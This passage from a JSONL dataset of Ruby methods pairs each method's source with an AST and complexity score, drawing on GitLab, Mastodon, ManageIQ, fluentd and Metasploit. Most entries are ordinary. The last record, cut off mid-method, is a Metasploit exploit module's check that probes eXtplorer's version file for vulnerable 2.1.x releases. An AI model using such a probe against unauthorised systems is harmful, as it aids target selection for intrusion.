end","complexity_score":23.1,"ast_json":"{\"type\":\"def\",\"children\":[\"quota_find_prov_request_by_group\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"prov_requests\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"prov_owner\",{\"type\":\"send\",\"children\":[null,\"get_owner\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prov_owner\"]},\"nil?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prov_owner\"]},\"ldap_group\"]}]},{\"type\":\"lvasgn\",\"children\":[\"prov_requests\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quota_find_prov_requests\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},\"delete_if\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"prov_req_owner\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"get_owner\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prov_req_owner\"]},\"nil?\"]},{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"casecmp\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prov_req_owner\"]},\"ldap_group\"]}]},\"!=\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"prov_requests\"]}]}]}","id":"c04d8e03-91f8-4eab-8e2a-4d8795e493ce"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/lib/mastodon/middleware/socket_cleanup.rb","start_line":23,"raw_source":"def clean_up_redis_socket!\n        RedisConnection.pool.checkin if Thread.current[:redis]\n        Thread.current[:redis] = nil\n      end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"clean_up_redis_socket!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"redis\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RedisConnection\"]},\"pool\"]},\"checkin\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"redis\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"28000ffe-85b7-4a86-a683-4075d3ea7c6e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/play_build_service.rb","start_line":12,"raw_source":"def execute\n      check_access!\n\n      Ci::EnqueueJobService.new(build, current_user: current_user, variables: variables || []).execute\n    rescue StateMachines::InvalidTransition\n      retry_build(build.reset)\n    end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_access!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"EnqueueJobService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"build\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"variables\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"variables\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]},\"execute\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StateMachines\"]},\"InvalidTransition\"]}]},null,{\"type\":\"send\",\"children\":[null,\"retry_build\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build\"]},\"reset\"]}]}]},null]}]}","id":"5c6df4df-8e8c-44f2-a790-180db35ee876"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/rake/require.rb","start_line":96,"raw_source":"def in_rake_file?(node)\n          File.extname(filepath(node)) == '.rake'\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"in_rake_file?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"extname\",{\"type\":\"send\",\"children\":[null,\"filepath\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},\"==\",{\"type\":\"str\",\"children\":[\".rake\"]}]}]}","id":"fae25fd1-aee8-4cce-8888-d0413ea4025a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/acunetix_document.rb","start_line":155,"raw_source":"def collect_page_request\n      return unless in_tag(\"TechnicalDetails\")\n      return unless in_tag(\"ReportItem\")\n      return unless @text\n      return if @text.to_s.empty?\n      @state[:page_request] = @text\n    end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"collect_page_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"TechnicalDetails\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"ReportItem\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@text\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@text\"]},\"to_s\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"page_request\"]},{\"type\":\"ivar\",\"children\":[\"@text\"]}]}]}]}","id":"33edc4db-067d-4f52-b655-f15c3b57e420"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/date_calculator/test_weekend_modifier.rb","start_line":35,"raw_source":"def test_to_weekday_if_boxing_weekend_from_year\n    assert_equal Date.civil(2015, 12, 28), @subject.to_weekday_if_boxing_weekend_from_year(2015)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_to_weekday_if_boxing_weekend_from_year\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2015]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[28]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"to_weekday_if_boxing_weekend_from_year\",{\"type\":\"int\",\"children\":[2015]}]}]}]}","id":"d7bc0105-6239-4073-9e2b-f9cc59577610"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/jira.rb","start_line":272,"raw_source":"def sections\n      sections = [\n        {\n          type: SECTION_TYPE_CONNECTION,\n          title: s_('Integrations|Connection details'),\n          description: help\n        },\n        {\n          type: SECTION_TYPE_JIRA_TRIGGER,\n          title: _('Trigger'),\n          description: s_('JiraService|When a Jira issue is mentioned in a commit or merge request, a remote link ' \\\n                          'and comment (if enabled) will be created.')\n        },\n        {\n          type: SECTION_TYPE_CONFIGURATION,\n          title: _('Jira issue matching'),\n          description: s_('Configure custom rules for Jira issue key matching')\n        }\n      ]\n\n      # Currently, Jira issues are only configurable at the project and group levels.\n      unless instance_level?\n        sections.push({\n          type: SECTION_TYPE_JIRA_ISSUES,\n          title: s_('JiraService|Jira issues (optional)'),\n          description: jira_issues_section_description,\n          plan: 'premium'\n        })\n\n        sections.push({\n          type: SECTION_TYPE_JIRA_ISSUE_CREATION,\n          title: s_('JiraService|Jira issues for vulnerabilities (optional)'),\n          description: s_('JiraService|Create Jira issues from GitLab to track any action taken ' \\\n                          'to resolve or mitigate vulnerabilities.'),\n          plan: 'ultimate'\n        })\n      end\n\n      sections\n    end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"sections\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sections\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"SECTION_TYPE_CONNECTION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"Integrations|Connection details\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"help\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"SECTION_TYPE_JIRA_TRIGGER\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Trigger\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"JiraService|When a Jira issue is mentioned in a commit or merge request, a remote link \"]},{\"type\":\"str\",\"children\":[\"and comment (if enabled) will be created.\"]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"SECTION_TYPE_CONFIGURATION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Jira issue matching\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"Configure custom rules for Jira issue key matching\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_level?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sections\"]},\"push\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"SECTION_TYPE_JIRA_ISSUES\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"JiraService|Jira issues (optional)\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"jira_issues_section_description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plan\"]},{\"type\":\"str\",\"children\":[\"premium\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sections\"]},\"push\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"SECTION_TYPE_JIRA_ISSUE_CREATION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"JiraService|Jira issues for vulnerabilities (optional)\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"JiraService|Create Jira issues from GitLab to track any action taken \"]},{\"type\":\"str\",\"children\":[\"to resolve or mitigate vulnerabilities.\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plan\"]},{\"type\":\"str\",\"children\":[\"ultimate\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"sections\"]}]}]}","id":"615290c5-7555-4362-8697-b504f3592560"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migration_helpers.rb","start_line":174,"raw_source":"def remove_concurrent_index(table_name, column_name, options = {})\n        if transaction_open?\n          raise 'remove_concurrent_index can not be run inside a transaction, ' \\\n            'you can disable transactions by calling disable_ddl_transaction! ' \\\n            'in the body of your migration class'\n        end\n\n        if partition?(table_name)\n          raise ArgumentError, 'remove_concurrent_index can not be used on a partitioned '  \\\n            'table. Please use remove_concurrent_partitioned_index_by_name on the partitioned table ' \\\n            'as we need to remove the index on the parent table'\n        end\n\n        options = options.merge({ algorithm: :concurrently })\n\n        unless index_exists?(table_name, column_name, **options)\n          Gitlab::AppLogger.warn \"Index not removed because it does not exist (this may be due to an aborted migration or similar): table_name: #{table_name}, column_name: #{column_name}\"\n          return\n        end\n\n        disable_statement_timeout do\n          remove_index(table_name, **options.merge({ column: column_name }))\n        end\n\n        # We removed this index. Now let's make sure it's not queued for async creation.\n        unprepare_async_index(table_name, column_name, **options)\n      end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_concurrent_index\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"arg\",\"children\":[\"column_name\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"transaction_open?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"remove_concurrent_index can not be run inside a transaction, \"]},{\"type\":\"str\",\"children\":[\"you can disable transactions by calling disable_ddl_transaction! \"]},{\"type\":\"str\",\"children\":[\"in the body of your migration class\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"partition?\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"remove_concurrent_index can not be used on a partitioned \"]},{\"type\":\"str\",\"children\":[\"table. Please use remove_concurrent_partitioned_index_by_name on the partitioned table \"]},{\"type\":\"str\",\"children\":[\"as we need to remove the index on the parent table\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_exists?\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"column_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppLogger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Index not removed because it does not exist (this may be due to an aborted migration or similar): table_name: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"str\",\"children\":[\", column_name: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_name\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"disable_statement_timeout\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"lvar\",\"children\":[\"column_name\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"unprepare_async_index\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"column_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}","id":"bd8e316e-cfb4-42ae-be93-711dfa9c71b4"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/service_discovery/manager.rb","start_line":35,"raw_source":"def configure(configs, parent: nil)\n          configs.each do |config|\n            type, conf = if config.has_key?(:conf) # for compatibility with initial API\n                           [config[:type], config[:conf]]\n                         else\n                           [config['@type'], config]\n                         end\n\n            sd = Fluent::Plugin.new_sd(type, parent: parent)\n            sd.configure(conf)\n\n            sd.services.each do |s|\n              @services[s.discovery_id] = build_service(s)\n            end\n            @discoveries << sd\n\n            if @static_config && type.to_sym != :static\n              @static_config = false\n            end\n          end\n\n          rebalance\n        end","complexity_score":31.9,"ast_json":"{\"type\":\"def\",\"children\":[\"configure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"configs\"]},{\"type\":\"kwoptarg\",\"children\":[\"parent\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"configs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"type\"]},{\"type\":\"lvasgn\",\"children\":[\"conf\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"has_key?\",{\"type\":\"sym\",\"children\":[\"conf\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"conf\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"@type\"]}]},{\"type\":\"lvar\",\"children\":[\"config\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sd\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Plugin\"]},\"new_sd\",{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent\"]},{\"type\":\"lvar\",\"children\":[\"parent\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sd\"]},\"configure\",{\"type\":\"lvar\",\"children\":[\"conf\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sd\"]},\"services\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@services\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"discovery_id\"]},{\"type\":\"send\",\"children\":[null,\"build_service\",{\"type\":\"lvar\",\"children\":[\"s\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@discoveries\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"sd\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@static_config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"to_sym\"]},\"!=\",{\"type\":\"sym\",\"children\":[\"static\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@static_config\",{\"type\":\"false\",\"children\":[]}]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"rebalance\"]}]}]}","id":"d83a4c5d-4753-4c40-ae6e-a18d54182720"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/badge/custom/custom_badge.rb","start_line":26,"raw_source":"def metadata\n            @metadata ||= Custom::Metadata.new(self)\n          end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"metadata\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@metadata\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Custom\"]},\"Metadata\"]},\"new\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"2c3135b4-9524-4779-b6e8-4e405e53a41a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/service_template.rb","start_line":259,"raw_source":"def atomic?\n    service_type.to_s.include?(self.class::SERVICE_TYPE_ATOMIC)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"atomic?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_type\"]},\"to_s\"]},\"include?\",{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"SERVICE_TYPE_ATOMIC\"]}]}]}","id":"e1a20a12-e819-402f-ae8d-c45b5e4507ed"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/projects/ml/experiments_helper.rb","start_line":27,"raw_source":"def candidates_table_items(candidates, current_user)\n        items = candidates.map do |candidate|\n          {\n            **candidate.params.to_h { |p| [p.name, p.value] },\n            **candidate.latest_metrics.to_h { |m| [m.name, number_with_precision(m.value, precision: 4)] },\n            ci_job: job_info(candidate, current_user),\n            artifact: link_to_artifact(candidate),\n            details: link_to_details(candidate),\n            name: candidate.name,\n            created_at: candidate.created_at,\n            user: user_info(candidate, current_user)\n          }\n        end\n\n        Gitlab::Json.generate(items)\n      end","complexity_score":24.15,"ast_json":"{\"type\":\"def\",\"children\":[\"candidates_table_items\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"candidates\"]},{\"type\":\"arg\",\"children\":[\"current_user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"candidates\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"candidate\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"candidate\"]},\"params\"]},\"to_h\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"value\"]}]}]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"candidate\"]},\"latest_metrics\"]},\"to_h\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"name\"]},{\"type\":\"send\",\"children\":[null,\"number_with_precision\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"value\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"int\",\"children\":[4]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ci_job\"]},{\"type\":\"send\",\"children\":[null,\"job_info\",{\"type\":\"lvar\",\"children\":[\"candidate\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"artifact\"]},{\"type\":\"send\",\"children\":[null,\"link_to_artifact\",{\"type\":\"lvar\",\"children\":[\"candidate\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"details\"]},{\"type\":\"send\",\"children\":[null,\"link_to_details\",{\"type\":\"lvar\",\"children\":[\"candidate\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"candidate\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"candidate\"]},\"created_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user_info\",{\"type\":\"lvar\",\"children\":[\"candidate\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Json\"]},\"generate\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]}]}","id":"1ce53bbd-d0d4-4f5b-b017-a7b887773678"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/extplorer_upload_exec.rb","start_line":69,"raw_source":"def check\n    base = target_uri.path\n    base << '/' if base[-1, 1] != '/'\n    peer = \"#{rhost}:#{rport}\"\n\n    # retrieve software version from ./extplorer.xml\n    begin\n      res = send_request_cgi({\n        'method' => 'GET',\n        'uri' => \"#{base}extplorer.xml\"\n      })\n\n      if !res or res.code != 200\n        return Exploit::CheckCode::Safe\n      end\n\n      if res.body =~ /<version>2\\.1\\.(0RC\\d|0|1|2)<\\/version>/\n        return Exploit::CheckCode::Appears\n      end\n\n      if res.body =~ /eXtplorer/\n        return Exploit::CheckCode::Safe\n      end\n    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout\n      vprint_error(\"Connection failed\")\n      return Exploit::CheckCode::Unknown\n    end\n    return Exploit::CheckCode::Safe\n  